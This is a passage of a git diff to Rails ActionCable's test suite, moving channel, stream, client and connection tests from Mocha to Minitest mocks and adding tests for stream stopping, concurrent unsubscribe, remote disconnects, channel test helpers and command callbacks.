+      assert_equal [], channel.send(:active_periodic_timers)
+    end
 
-    channel.subscribe_to_channel
-    channel.unsubscribe_from_channel
-    assert_equal [], channel.send(:active_periodic_timers)
+    assert mock.verify
   end
 end
diff --git a/actioncable/test/channel/rejection_test.rb b/actioncable/test/channel/rejection_test.rb
index 99c4a7603abea..683eafcac02c7 100644
--- a/actioncable/test/channel/rejection_test.rb
+++ b/actioncable/test/channel/rejection_test.rb
@@ -1,8 +1,11 @@
+# frozen_string_literal: true
+
 require "test_helper"
+require "minitest/mock"
 require "stubs/test_connection"
 require "stubs/room"
 
-class ActionCable::Channel::RejectionTest < ActiveSupport::TestCase
+class ActionCable::Channel::RejectionTest < ActionCable::TestCase
   class SecretChannel < ActionCable::Channel::Base
     def subscribed
       reject if params[:id] > 0
@@ -18,24 +21,36 @@ def secret_action
   end
 
   test "subscription rejection" do
-    @connection.expects(:subscriptions).returns mock().tap { |m| m.expects(:remove_subscription).with instance_of(SecretChannel) }
-    @channel = SecretChannel.new @connection, "{id: 1}", id: 1
-    @channel.subscribe_to_channel
+    subscriptions = Minitest::Mock.new
+    subscriptions.expect(:remove_subscription, SecretChannel, [SecretChannel])
+
+    @connection.stub(:subscriptions, subscriptions) do
+      @channel = SecretChannel.new @connection, "{id: 1}", id: 1
+      @channel.subscribe_to_channel
+
+      expected = { "identifier" => "{id: 1}", "type" => "reject_subscription" }
+      assert_equal expected, @connection.last_transmission
+    end
 
-    expected = { "identifier" => "{id: 1}", "type" => "reject_subscription" }
-    assert_equal expected, @connection.last_transmission
+    assert subscriptions.verify
   end
 
   test "does not execute action if subscription is rejected" do
-    @connection.expects(:subscriptions).returns mock().tap { |m| m.expects(:remove_subscription).with instance_of(SecretChannel) }
-    @channel = SecretChannel.new @connection, "{id: 1}", id: 1
-    @channel.subscribe_to_channel
+    subscriptions = Minitest::Mock.new
+    subscriptions.expect(:remove_subscription, SecretChannel, [SecretChannel])
 
-    expected = { "identifier" => "{id: 1}", "type" => "reject_subscription" }
-    assert_equal expected, @connection.last_transmission
-    assert_equal 1, @connection.transmissions.size
+    @connection.stub(:subscriptions, subscriptions) do
+      @channel = SecretChannel.new @connection, "{id: 1}", id: 1
+      @channel.subscribe_to_channel
+
+      expected = { "identifier" => "{id: 1}", "type" => "reject_subscription" }
+      assert_equal expected, @connection.last_transmission
+      assert_equal 1, @connection.transmissions.size
+
+      @channel.perform_action("action" => :secret_action)
+      assert_equal 1, @connection.transmissions.size
+    end
 
-    @channel.perform_action("action" => :secret_action)
-    assert_equal 1, @connection.transmissions.size
+    assert subscriptions.verify
   end
 end
diff --git a/actioncable/test/channel/stream_test.rb b/actioncable/test/channel/stream_test.rb
index 31dcde2e2933a..3aa42297d68ff 100644
--- a/actioncable/test/channel/stream_test.rb
+++ b/actioncable/test/channel/stream_test.rb
@@ -1,6 +1,10 @@
+# frozen_string_literal: true
+
 require "test_helper"
+require "minitest/mock"
 require "stubs/test_connection"
 require "stubs/room"
+require "concurrent/atomic/cyclic_barrier"
 
 module ActionCable::StreamTests
   class Connection < ActionCable::Connection::Base
@@ -23,16 +27,17 @@ def send_confirmation
       transmit_subscription_confirmation
     end
 
-    private def pick_coder(coder)
-      case coder
-      when nil, "json"
-        ActiveSupport::JSON
-      when "custom"
-        DummyEncoder
-      when "none"
-        nil
+    private
+      def pick_coder(coder)
+        case coder
+        when nil, "json"
+          ActiveSupport::JSON
+        when "custom"
+          DummyEncoder
+        when "none"
+          nil
+        end
       end
-    end
   end
 
   module DummyEncoder
@@ -51,35 +56,91 @@ class StreamTest < ActionCable::TestCase
     test "streaming start and stop" do
       run_in_eventmachine do
         connection = TestConnection.new
-        connection.expects(:pubsub).returns mock().tap { |m| m.expects(:subscribe).with("test_room_1", kind_of(Proc), kind_of(Proc)).returns stub_everything(:pubsub) }
-        channel = ChatChannel.new connection, "{id: 1}", id: 1
-        channel.subscribe_to_channel
+        pubsub = Minitest::Mock.new connection.pubsub
+
+        pubsub.expect(:subscribe, nil, ["test_room_1", Proc, Proc])
+        pubsub.expect(:unsubscribe, nil, ["test_room_1", Proc])
+
+        connection.stub(:pubsub, pubsub) do
+          channel = ChatChannel.new connection, "{id: 1}", id: 1
+          channel.subscribe_to_channel
 
-        connection.expects(:pubsub).returns mock().tap { |m| m.expects(:unsubscribe) }
-        channel.unsubscribe_from_channel
+          wait_for_async
+          channel.unsubscribe_from_channel
+        end
+
+        assert pubsub.verify
       end
     end
 
     test "stream from non-string channel" do
       run_in_eventmachine do
         connection = TestConnection.new
-        connection.expects(:pubsub).returns mock().tap { |m| m.expects(:subscribe).with("channel", kind_of(Proc), kind_of(Proc)).returns stub_everything(:pubsub) }
-        channel = SymbolChannel.new connection, ""
-        channel.subscribe_to_channel
+        pubsub = Minitest::Mock.new connection.pubsub
+
+        pubsub.expect(:subscribe, nil, ["channel", Proc, Proc])
+        pubsub.expect(:unsubscribe, nil, ["channel", Proc])
+
+        connection.stub(:pubsub, pubsub) do
+          channel = SymbolChannel.new connection, ""
+          channel.subscribe_to_channel
+
+          wait_for_async
 
-        connection.expects(:pubsub).returns mock().tap { |m| m.expects(:unsubscribe) }
-        channel.unsubscribe_from_channel
+          channel.unsubscribe_from_channel
+        end
+
+        assert pubsub.verify
       end
     end
 
     test "stream_for" do
       run_in_eventmachine do
         connection = TestConnection.new
-        connection.expects(:pubsub).returns mock().tap { |m| m.expects(:subscribe).with("action_cable:stream_tests:chat:Room#1-Campfire", kind_of(Proc), kind_of(Proc)).returns stub_everything(:pubsub) }
 
         channel = ChatChannel.new connection, ""
         channel.subscribe_to_channel
         channel.stream_for Room.new(1)
+        wait_for_async
+
+        pubsub_call = channel.pubsub.class.class_variable_get "@@subscribe_called"
+
+        assert_equal "action_cable:stream_tests:chat:Room#1-Campfire", pubsub_call[:channel]
+        assert_instance_of Proc, pubsub_call[:callback]
+        assert_instance_of Proc, pubsub_call[:success_callback]
+      end
+    end
+
+    test "stream_or_reject_for" do
+      run_in_eventmachine do
+        connection = TestConnection.new
+
+        channel = ChatChannel.new connection, ""
+        channel.subscribe_to_channel
+        channel.stream_or_reject_for Room.new(1)
+        wait_for_async
+
+        pubsub_call = channel.pubsub.class.class_variable_get "@@subscribe_called"
+
+        assert_equal "action_cable:stream_tests:chat:Room#1-Campfire", pubsub_call[:channel]
+        assert_instance_of Proc, pubsub_call[:callback]
+        assert_instance_of Proc, pubsub_call[:success_callback]
+      end
+    end
+
+    test "reject subscription when nil is passed to stream_or_reject_for" do
+      run_in_eventmachine do
+        connection = TestConnection.new
+        channel = ChatChannel.new connection, "{id: 1}", id: 1
+        channel.subscribe_to_channel
+        channel.stream_or_reject_for nil
+        assert_nil connection.last_transmission
+
+        wait_for_async
+
+        rejection = { "identifier" => "{id: 1}", "type" => "reject_subscription" }
+        connection.transmit(rejection)
+        assert_equal rejection, connection.last_transmission
       end
     end
 
@@ -117,9 +178,173 @@ class StreamTest < ActionCable::TestCase
         assert_equal 1, connection.transmissions.size
       end
     end
-  end
 
-  require "action_cable/subscription_adapter/async"
+    test "stop_all_streams" do
+      run_in_eventmachine do
+        connection = TestConnection.new
+
+        channel = ChatChannel.new connection, "{id: 3}"
+        channel.subscribe_to_channel
+
+        assert_equal 0, subscribers_of(connection).size
+
+        channel.stream_from "room_one"
+        channel.stream_from "room_two"
+
+        wait_for_async
+        assert_equal 2, subscribers_of(connection).size
+
+        channel2 = ChatChannel.new connection, "{id: 3}"
+        channel2.subscribe_to_channel
+
+        channel2.stream_from "room_one"
+        wait_for_async
+
+        subscribers = subscribers_of(connection)
+
+        assert_equal 2, subscribers.size
+        assert_equal 2, subscribers["room_one"].size
+        assert_equal 1, subscribers["room_two"].size
+
+        channel.stop_all_streams
+
+        subscribers = subscribers_of(connection)
+        assert_equal 1, subscribers.size
+        assert_equal 1, subscribers["room_one"].size
+      end
+    end
+
+    test "stop_stream_from" do
+      run_in_eventmachine do
+        connection = TestConnection.new
+
+        channel = ChatChannel.new connection, "{id: 3}"
+        channel.subscribe_to_channel
+
+        channel.stream_from "room_one"
+        channel.stream_from "room_two"
+
+        channel2 = ChatChannel.new connection, "{id: 3}"
+        channel2.subscribe_to_channel
+
+        channel2.stream_from "room_one"
+
+        subscribers = subscribers_of(connection)
+
+        wait_for_async
+
+        assert_equal 2, subscribers.size
+        assert_equal 2, subscribers["room_one"].size
+        assert_equal 1, subscribers["room_two"].size
+
+        channel.stop_stream_from "room_one"
+
+        subscribers = subscribers_of(connection)
+
+        assert_equal 2, subscribers.size
+        assert_equal 1, subscribers["room_one"].size
+        assert_equal 1, subscribers["room_two"].size
+      end
+    end
+
+    test "stop_stream_for" do
+      run_in_eventmachine do
+        connection = TestConnection.new
+
+        channel = ChatChannel.new connection, "{id: 3}"
+        channel.subscribe_to_channel
+
+        channel.stream_for Room.new(1)
+        channel.stream_for Room.new(2)
+
+        channel2 = ChatChannel.new connection, "{id: 3}"
+        channel2.subscribe_to_channel
+
+        channel2.stream_for Room.new(1)
+
+        subscribers = subscribers_of(connection)
+
+        wait_for_async
+
+        assert_equal 2, subscribers.size
+
+        assert_equal 2, subscribers[ChatChannel.broadcasting_for(Room.new(1))].size
+        assert_equal 1, subscribers[ChatChannel.broadcasting_for(Room.new(2))].size
+
+        channel.stop_stream_for Room.new(1)
+
+        subscribers = subscribers_of(connection)
+
+        assert_equal 2, subscribers.size
+        assert_equal 1, subscribers[ChatChannel.broadcasting_for(Room.new(1))].size
+        assert_equal 1, subscribers[ChatChannel.broadcasting_for(Room.new(2))].size
+      end
+    end
+
+    test "concurrent unsubscribe_from_channel and stream_from do not raise RuntimeError" do
+      threads = []
+      run_in_eventmachine do
+        connection = TestConnection.new
+        connection.pubsub.unsubscribe_latency = 0.1
+
+        channel = ChatChannel.new connection, "{id: 1}", id: 1
+        channel.subscribe_to_channel
+
+        # Set up initial streams
+        channel.stream_from "room_one"
+        channel.stream_from "room_two"
+        wait_for_async
+
+        # Create barriers to synchronize thread execution
+        barrier = Concurrent::CyclicBarrier.new(2)
+
+        exception_caught = nil
+
+        # Thread 1: calls unsubscribe_from_channel
+        thread1 = Thread.new do
+          barrier.wait
+          # Add a small delay to increase the chance of concurrent execution
+          sleep 0.001
+          channel.unsubscribe_from_channel
+        rescue => e
+          exception_caught = e
+        ensure
+          barrier.wait
+        end
+        threads << thread1
+
+        # Thread 2: calls stream_from during unsubscribe_from_channel iteration
+        thread2 = Thread.new do
+          barrier.wait
+          # Try to add streams while unsubscribe_from_channel is potentially iterating
+          10.times do |i|
+            channel.stream_from "concurrent_room_#{i}"
+            sleep 0.0001 # Small delay to interleave with unsubscribe_from_channel
+          end
+        rescue => e
+          exception_caught = e
+        ensure
+          barrier.wait
+        end
+        threads << thread2
+
+        thread1.join
+        thread2.join
+
+        # Ensure no RuntimeError was raised during concurrent access
+        assert_nil exception_caught, "Concurrent unsubscribe_from_channel and stream_from should not raise RuntimeError: #{exception_caught}"
+      end
+    ensure
+      threads.each(&:kill)
+    end
+
+    private
+      def subscribers_of(connection)
+        connection
+          .pubsub
+          .subscriber_map
+      end
+  end
 
   class UserCallbackChannel < ActionCable::Channel::Base
     def subscribed
@@ -147,10 +372,11 @@ class StreamFromTest < ActionCable::TestCase
         connection = open_connection
         subscribe_to connection, identifiers: { id: 1 }
 
-        connection.websocket.expects(:transmit)
-        @server.broadcast "test_room_1", { foo: "bar" }, coder: DummyEncoder
-        wait_for_async
-        wait_for_executor connection.server.worker_pool.executor
+        assert_called(connection.websocket, :transmit) do
+          @server.broadcast "test_room_1", { foo: "bar" }, coder: DummyEncoder
+          wait_for_async
+          wait_for_executor connection.server.worker_pool.executor
+        end
       end
     end
 
@@ -161,18 +387,18 @@ class StreamFromTest < ActionCable::TestCase
 
         @server.broadcast "channel", {}
         wait_for_async
-        refute Thread.current[:ran_callback], "User callback was not run through the worker pool"
+        assert_not Thread.current[:ran_callback], "User callback was not run through the worker pool"
       end
     end
 
-    test "subscription confirmation should only be sent out once with muptiple stream_from" do
+    test "subscription confirmation should only be sent out once with multiple stream_from" do
       run_in_eventmachine do
         connection = open_connection
         expected = { "identifier" => { "channel" => MultiChatChannel.name }.to_json, "type" => "confirm_subscription" }
-        connection.websocket.expects(:transmit).with(expected.to_json)
-        receive(connection, command: "subscribe", channel: MultiChatChannel.name, identifiers: {})
-
-        wait_for_async
+        assert_called_with(connection.websocket, :transmit, [expected.to_json]) do
+          receive(connection, command: "subscribe", channel: MultiChatChannel.name, identifiers: {})
+          wait_for_async
+        end
       end
     end
 
@@ -186,15 +412,15 @@ def open_connection
 
         Connection.new(@server, env).tap do |connection|
           connection.process
-          assert connection.websocket.possible?
+          assert_predicate connection.websocket, :possible?
 
           wait_for_async
-          assert connection.websocket.alive?
+          assert_predicate connection.websocket, :alive?
         end
       end
 
       def receive(connection, command:, identifiers:, channel: "ActionCable::StreamTests::ChatChannel")
-        identifier = JSON.generate(channel: channel, **identifiers)
+        identifier = JSON.generate(identifiers.merge(channel: channel))
         connection.dispatch_websocket_message JSON.generate(command: command, identifier: identifier)
         wait_for_async
       end
diff --git a/actioncable/test/channel/test_case_test.rb b/actioncable/test/channel/test_case_test.rb
new file mode 100644
index 0000000000000..48ef86998bf54
--- /dev/null
+++ b/actioncable/test/channel/test_case_test.rb
@@ -0,0 +1,251 @@
+# frozen_string_literal: true
+
+require "test_helper"
+
+class TestTestChannel < ActionCable::Channel::Base
+end
+
+class NonInferrableExplicitClassChannelTest < ActionCable::Channel::TestCase
+  tests TestTestChannel
+
+  def test_set_channel_class_manual
+    assert_equal TestTestChannel, self.class.channel_class
+  end
+end
+
+class NonInferrableSymbolNameChannelTest < ActionCable::Channel::TestCase
+  tests :test_test_channel
+
+  def test_set_channel_class_manual_using_symbol
+    assert_equal TestTestChannel, self.class.channel_class
+  end
+end
+
+class NonInferrableStringNameChannelTest < ActionCable::Channel::TestCase
+  tests "test_test_channel"
+
+  def test_set_channel_class_manual_using_string
+    assert_equal TestTestChannel, self.class.channel_class
+  end
+end
+
+class SubscriptionsTestChannel < ActionCable::Channel::Base
+end
+
+class SubscriptionsTestChannelTest < ActionCable::Channel::TestCase
+  def setup
+    stub_connection
+  end
+
+  def test_no_subscribe
+    assert_nil subscription
+  end
+
+  def test_subscribe
+    subscribe
+
+    assert_predicate subscription, :confirmed?
+    assert_not subscription.rejected?
+    assert_equal 1, connection.transmissions.size
+    assert_equal ActionCable::INTERNAL[:message_types][:confirmation],
+                 connection.transmissions.last["type"]
+  end
+end
+
+class StubConnectionTest < ActionCable::Channel::TestCase
+  tests SubscriptionsTestChannel
+
+  def test_connection_identifiers
+    stub_connection username: "John", admin: true
+
+    subscribe
+
+    assert_equal "John", subscription.username
+    assert subscription.admin
+    assert_equal "John:true", connection.connection_identifier
+  end
+end
+
+class RejectionTestChannel < ActionCable::Channel::Base
+  def subscribed
+    reject
+  end
+end
+
+class RejectionTestChannelTest < ActionCable::Channel::TestCase
+  def test_rejection
+    subscribe
+
+    assert_not subscription.confirmed?
+    assert_predicate subscription, :rejected?
+    assert_equal 1, connection.transmissions.size
+    assert_equal ActionCable::INTERNAL[:message_types][:rejection],
+                 connection.transmissions.last["type"]
+  end
+end
+
+class StreamsTestChannel < ActionCable::Channel::Base
+  def subscribed
+    stream_from "test_#{params[:id] || 0}"
+  end
+
+  def unsubscribed
+    stop_stream_from "test_#{params[:id] || 0}"
+  end
+end
+
+class StreamsTestChannelTest < ActionCable::Channel::TestCase
+  def test_stream_without_params
+    subscribe
+
+    assert_has_stream "test_0"
+  end
+
+  def test_stream_with_params
+    subscribe id: 42
+
+    assert_has_stream "test_42"
+  end
+
+  def test_not_stream_without_params
+    subscribe
+    unsubscribe
+
+    assert_has_no_stream "test_0"
+  end
+
+  def test_not_stream_with_params
+    subscribe id: 42
+    perform :unsubscribed, id: 42
+
+    assert_has_no_stream "test_42"
+  end
+
+  def test_unsubscribe_from_stream
+    subscribe
+    unsubscribe
+
+    assert_no_streams
+  end
+end
+
+class StreamsForTestChannel < ActionCable::Channel::Base
+  def subscribed
+    stream_for User.new(params[:id])
+  end
+
+  def unsubscribed
+    stop_stream_for User.new(params[:id])
+  end
+end
+
+class StreamsForTestChannelTest < ActionCable::Channel::TestCase
+  def test_stream_with_params
+    subscribe id: 42
+
+    assert_has_stream_for User.new(42)
+  end
+
+  def test_not_stream_with_params
+    subscribe id: 42
+    perform :unsubscribed, id: 42
+
+    assert_has_no_stream_for User.new(42)
+  end
+end
+
+class NoStreamsTestChannel < ActionCable::Channel::Base
+  def subscribed; end # no-op
+end
+
+class NoStreamsTestChannelTest < ActionCable::Channel::TestCase
+  def test_stream_with_params
+    subscribe
+
+    assert_no_streams
+  end
+end
+
+class PerformTestChannel < ActionCable::Channel::Base
+  def echo(data)
+    data.delete("action")
+    transmit data
+  end
+
+  def ping
+    transmit({ type: "pong" })
+  end
+end
+
+class PerformTestChannelTest < ActionCable::Channel::TestCase
+  def setup
+    stub_connection user_id: 2016
+    subscribe id: 5
+  end
+
+  def test_perform_with_params
+    perform :echo, text: "You are man!"
+
+    assert_equal({ "text" => "You are man!" }, transmissions.last)
+  end
+
+  def test_perform_and_transmit
+    perform :ping
+
+    assert_equal "pong", transmissions.last["type"]
+  end
+end
+
+class PerformUnsubscribedTestChannelTest < ActionCable::Channel::TestCase
+  tests PerformTestChannel
+
+  def test_perform_when_unsubscribed
+    assert_raises do
+      perform :echo
+    end
+  end
+end
+
+class BroadcastsTestChannel < ActionCable::Channel::Base
+  def broadcast(data)
+    ActionCable.server.broadcast(
+      "broadcast_#{params[:id]}",
+      { text: data["message"], user_id: user_id }
+    )
+  end
+
+  def broadcast_to_user(data)
+    user = User.new user_id
+
+    broadcast_to user, text: data["message"]
+  end
+end
+
+class BroadcastsTestChannelTest < ActionCable::Channel::TestCase
+  def setup
+    stub_connection user_id: 2017
+    subscribe id: 5
+  end
+
+  def test_broadcast_matchers_included
+    assert_broadcast_on("broadcast_5", user_id: 2017, text: "SOS") do
+      perform :broadcast, message: "SOS"
+    end
+  end
+
+  def test_broadcast_to_object
+    user = User.new(2017)
+
+    assert_broadcasts(user, 1) do
+      perform :broadcast_to_user, text: "SOS"
+    end
+  end
+
+  def test_broadcast_to_object_with_data
+    user = User.new(2017)
+
+    assert_broadcast_on(user, text: "SOS") do
+      perform :broadcast_to_user, message: "SOS"
+    end
+  end
+end
diff --git a/actioncable/test/client_test.rb b/actioncable/test/client_test.rb
index 98a114a5f47f5..9069510c89311 100644
--- a/actioncable/test/client_test.rb
+++ b/actioncable/test/client_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "test_helper"
 require "concurrent"
 
@@ -6,28 +8,18 @@
 
 require "active_support/hash_with_indifferent_access"
 
-####
-# 😷 Warning suppression 😷
-WebSocket::Frame::Handler::Handler03.prepend Module.new {
-  def initialize(*)
-    @application_data_buffer = nil
-    super
-  end
-}
-
-WebSocket::Frame::Data.prepend Module.new {
-  def initialize(*)
-    @masking_key = nil
-    super
-  end
-}
-#
-####
-
 class ClientTest < ActionCable::TestCase
   WAIT_WHEN_EXPECTING_EVENT = 2
   WAIT_WHEN_NOT_EXPECTING_EVENT = 0.5
 
+  class Connection < ActionCable::Connection::Base
+    identified_by :id
+
+    def connect
+      self.id = request.params["id"] || SecureRandom.hex(4)
+    end
+  end
+
   class EchoChannel < ActionCable::Channel::Base
     def subscribed
       stream_from "global"
@@ -38,16 +30,16 @@ def unsubscribed
     end
 
     def ding(data)
-      transmit(dong: data["message"])
+      transmit({ dong: data["message"] })
     end
 
     def delay(data)
       sleep 1
-      transmit(dong: data["message"])
+      transmit({ dong: data["message"] })
     end
 
     def bulk(data)
-      ActionCable.server.broadcast "global", wide: data["message"]
+      ActionCable.server.broadcast "global", { wide: data["message"] }
     end
   end
 
@@ -57,29 +49,56 @@ def setup
     server.config.logger = Logger.new(StringIO.new).tap { |l| l.level = Logger::UNKNOWN }
 
     server.config.cable = ActiveSupport::HashWithIndifferentAccess.new(adapter: "async")
+    server.config.connection_class = -> { ClientTest::Connection }
 
     # and now the "real" setup for our test:
     server.config.disable_request_forgery_protection = true
   end
 
   def with_puma_server(rack_app = ActionCable.server, port = 3099)
-    server = ::Puma::Server.new(rack_app, ::Puma::Events.strings)
+    opts = { min_threads: 1, max_threads: 4 }
+    server = if Puma::Const::PUMA_VERSION >= "6"
+      opts[:log_writer] = ::Puma::LogWriter.strings
+      ::Puma::Server.new(rack_app, nil, opts)
+    else
+      # Puma >= 5.0.3
+      ::Puma::Server.new(rack_app, ::Puma::Events.strings, opts)
+    end
     server.add_tcp_listener "127.0.0.1", port
-    server.min_threads = 1
-    server.max_threads = 4
 
-    t = Thread.new { server.run.join }
-    yield port
+    thread = server.run
+
+    begin
+      yield port
 
-  ensure
-    server.stop(true) if server
-    t.join if t
+    ensure
+      server.stop
+
+      begin
+        thread.join
+
+      rescue IOError
+        # Work around https://bugs.ruby-lang.org/issues/13405
+        #
+        # Puma's sometimes raising while shutting down, when it closes
+        # its internal pipe. We can safely ignore that, but we do need
+        # to do the step skipped by the exception:
+        server.binder.close
+
+      rescue RuntimeError => ex
+        # Work around https://bugs.ruby-lang.org/issues/13239
+        raise unless ex.message.match?(/can't modify frozen IOError/)
+
+        # Handle this as if it were the IOError: do the same as above.
+        server.binder.close
+      end
+    end
   end
 
   class SyncClient
     attr_reader :pings
 
-    def initialize(port)
+    def initialize(port, path = "/")
       messages = @messages = Queue.new
       closed = @closed = Concurrent::Event.new
       has_messages = @has_messages = Concurrent::Semaphore.new(0)
@@ -87,7 +106,7 @@ def initialize(port)
 
       open = Concurrent::Promise.new
 
-      @ws = WebSocket::Client::Simple.connect("ws://127.0.0.1:#{port}/") do |ws|
+      @ws = WebSocket::Client::Simple.connect("ws://127.0.0.1:#{port}#{path}") do |ws|
         ws.on(:error) do |event|
           event = RuntimeError.new(event.message) unless event.is_a?(Exception)
 
@@ -117,7 +136,7 @@ def initialize(port)
           end
         end
 
-        ws.on(:close) do |event|
+        ws.on(:close) do |_|
           closed.set
         end
       end
@@ -173,12 +192,12 @@ def closed?
     end
   end
 
-  def websocket_client(port)
-    SyncClient.new(port)
+  def websocket_client(*args)
+    SyncClient.new(*args)
   end
 
   def concurrently(enum)
-    enum.map { |*x| Concurrent::Future.execute { yield(*x) } }.map(&:value!)
+    enum.map { |*x| Concurrent::Promises.future { yield(*x) } }.map(&:value!)
   end
 
   def test_single_client
@@ -261,20 +280,54 @@ def test_unsubscribe_client
       c.send_message command: "subscribe", identifier: identifier
       assert_equal({ "identifier" => "{\"channel\":\"ClientTest::EchoChannel\"}", "type" => "confirm_subscription" }, c.read_message)
       assert_equal(1, app.connections.count)
-      assert(app.remote_connections.where(identifier: identifier))
 
       subscriptions = app.connections.first.subscriptions.send(:subscriptions)
       assert_not_equal 0, subscriptions.size, "Missing EchoChannel subscription"
       channel = subscriptions.first[1]
-      channel.expects(:unsubscribed)
-      c.close
-      sleep 0.1 # Data takes a moment to process
+      assert_called(channel, :unsubscribed) do
+        c.close
+        sleep 0.1 # Data takes a moment to process
+      end
 
       # All data is removed: No more connection or subscription information!
       assert_equal(0, app.connections.count)
     end
   end
 
+  def test_remote_disconnect_client
+    with_puma_server do |port|
+      app = ActionCable.server
+
+      c = websocket_client(port, "/?id=1")
+      assert_equal({ "type" => "welcome" }, c.read_message)
+
+      sleep 0.1 # make sure connections is registered
+      app.remote_connections.where(id: "1").disconnect
+
+      assert_equal({ "type" => "disconnect", "reason" => "remote", "reconnect" => true }, c.read_message)
+
+      c.wait_for_close
+      assert_predicate(c, :closed?)
+    end
+  end
+
+  def test_remote_disconnect_client_with_reconnect
+    with_puma_server do |port|
+      app = ActionCable.server
+
+      c = websocket_client(port, "/?id=2")
+      assert_equal({ "type" => "welcome" }, c.read_message)
+
+      sleep 0.1 # make sure connections is registered
+      app.remote_connections.where(id: "2").disconnect(reconnect: false)
+
+      assert_equal({ "type" => "disconnect", "reason" => "remote", "reconnect" => false }, c.read_message)
+
+      c.wait_for_close
+      assert_predicate(c, :closed?)
+    end
+  end
+
   def test_server_restart
     with_puma_server do |port|
       c = websocket_client(port)
@@ -284,7 +337,7 @@ def test_server_restart
 
       ActionCable.server.restart
       c.wait_for_close
-      assert c.closed?
+      assert_predicate c, :closed?
     end
   end
 end
diff --git a/actioncable/test/connection/authorization_test.rb b/actioncable/test/connection/authorization_test.rb
index dcdbe9c1d1705..ac5c128135cda 100644
--- a/actioncable/test/connection/authorization_test.rb
+++ b/actioncable/test/connection/authorization_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "test_helper"
 require "stubs/test_server"
 
@@ -23,9 +25,12 @@ def send_async(method, *args)
         "HTTP_HOST" => "localhost", "HTTP_ORIGIN" => "http://rubyonrails.com"
 
       connection = Connection.new(server, env)
-      connection.websocket.expects(:close)
 
-      connection.process
+      assert_called_with(connection.websocket, :transmit, [{ type: "disconnect", reason: "unauthorized", reconnect: false }.to_json]) do
+        assert_called(connection.websocket, :close) do
+          connection.process
+        end
+      end
     end
   end
 end
diff --git a/actioncable/test/connection/base_test.rb b/actioncable/test/connection/base_test.rb
index 9bcd0700cf968..af0e88aae1c19 100644
--- a/actioncable/test/connection/base_test.rb
+++ b/actioncable/test/connection/base_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "test_helper"
 require "stubs/test_server"
 require "active_support/core_ext/object/json"
@@ -37,10 +39,10 @@ def send_async(method, *args)
       connection = open_connection
       connection.process
 
-      assert connection.websocket.possible?
+      assert_predicate connection.websocket, :possible?
 
       wait_for_async
-      assert connection.websocket.alive?
+      assert_predicate connection.websocket, :alive?
     end
   end
 
@@ -57,11 +59,12 @@ def send_async(method, *args)
     run_in_eventmachine do
       connection = open_connection
 
-      connection.websocket.expects(:transmit).with({ type: "welcome" }.to_json)
-      connection.message_buffer.expects(:process!)
-
-      connection.process
-      wait_for_async
+      assert_called_with(connection.websocket, :transmit, [{ type: "welcome" }.to_json]) do
+        assert_called(connection.message_buffer, :process!) do
+          connection.process
+          wait_for_async
+        end
+      end
 
       assert_equal [ connection ], @server.connections
       assert connection.connected
@@ -73,15 +76,15 @@ def send_async(method, *args)
       connection = open_connection
       connection.process
 
-      # Setup the connection
-      connection.server.stubs(:timer).returns(true)
+      # Set up the connection
       connection.send :handle_open
       assert connection.connected
 
-      connection.subscriptions.expects(:unsubscribe_from_all)
-      connection.send :handle_close
+      assert_called(connection.subscriptions, :unsubscribe_from_all) do
+        connection.send :handle_close
+      end
 
-      assert ! connection.connected
+      assert_not connection.connected
       assert_equal [], @server.connections
     end
   end
@@ -93,7 +96,7 @@ def send_async(method, *args)
 
       statistics = connection.statistics
 
-      assert statistics[:identifier].blank?
+      assert_predicate statistics[:identifier], :blank?
       assert_kind_of Time, statistics[:started_at]
       assert_equal [], statistics[:subscriptions]
     end
@@ -104,8 +107,9 @@ def send_async(method, *args)
       connection = open_connection
       connection.process
 
-      connection.websocket.expects(:close)
-      connection.close
+      assert_called(connection.websocket, :close) do
+        connection.close(reason: "testing")
+      end
     end
   end
 
diff --git a/actioncable/test/connection/callbacks_test.rb b/actioncable/test/connection/callbacks_test.rb
new file mode 100644
index 0000000000000..0552a9ebf1d3e
--- /dev/null
+++ b/actioncable/test/connection/callbacks_test.rb
@@ -0,0 +1,100 @@
+# frozen_string_literal: true
+
+require "test_helper"
+require "stubs/test_server"
+
+class ActionCable::Connection::CallbacksTest < ActionCable::TestCase
+  class Connection < ActionCable::Connection::Base
+    identified_by :context
+
+    attr_reader :commands_counter
+
+    before_command do
+      throw :abort unless context.nil?
+    end
+
+    around_command :set_current_context
+    after_command :increment_commands_counter
+
+    def initialize(*)
+      super
+      @commands_counter = 0
+    end
+
+    private
+      def set_current_context
+        self.context = request.params["context"]
+        yield
+      ensure
+        self.context = nil
+      end
+
+      def increment_commands_counter
+        @commands_counter += 1
+      end
+  end
+
+  class ChatChannel < ActionCable::Channel::Base
+    class << self
+      attr_accessor :words_spoken, :subscribed_count
+    end
+
+    self.words_spoken = []
+    self.subscribed_count = 0
+
+    def subscribed
+      self.class.subscribed_count += 1
+    end
+
+    def speak(data)
+      self.class.words_spoken << { data: data, context: context }
+    end
+  end
+
+  setup do
+    @server = TestServer.new
+    @env = Rack::MockRequest.env_for "/test", "HTTP_HOST" => "localhost", "HTTP_CONNECTION" => "upgrade", "HTTP_UPGRADE" => "websocket"
+    @connection = Connection.new(@server, @env)
+    @identifier = { channel: "ActionCable::Connection::CallbacksTest::ChatChannel" }.to_json
+  end
+
+  attr_reader :server, :env, :connection, :identifier
+
+  test "before and after callbacks" do
+    result = assert_difference -> { ChatChannel.subscribed_count }, +1 do
+      assert_difference -> { connection.commands_counter }, +1 do
+        connection.handle_channel_command({ "identifier" => identifier, "command" => "subscribe" })
+      end
+    end
+    assert result
+  end
+
+  test "before callback halts" do
+    connection.context = "non_null"
+    result = assert_no_difference -> { ChatChannel.subscribed_count } do
+      connection.handle_channel_command({ "identifier" => identifier, "command" => "subscribe" })
+    end
+    assert_not result
+  end
+
+  test "around_command callback" do
+    env["QUERY_STRING"] = "context=test"
+    connection = Connection.new(server, env)
+
+    assert_difference -> { ChatChannel.words_spoken.size }, +1 do
+      # We need to add subscriptions first
+      connection.handle_channel_command({
+        "identifier" => identifier,
+        "command" => "subscribe"
+      })
+      connection.handle_channel_command({
+        "identifier" => identifier,
+        "command" => "message",
+        "data" =>  { "action" => "speak", "message" => "hello" }.to_json
+      })
+    end
+
+    message = ChatChannel.words_spoken.last
+    assert_equal({ data: { "action" => "speak", "message" => "hello" }, context: "test" }, message)
+  end
+end
diff --git a/actioncable/test/connection/client_socket_test.rb b/actioncable/test/connection/client_socket_test.rb
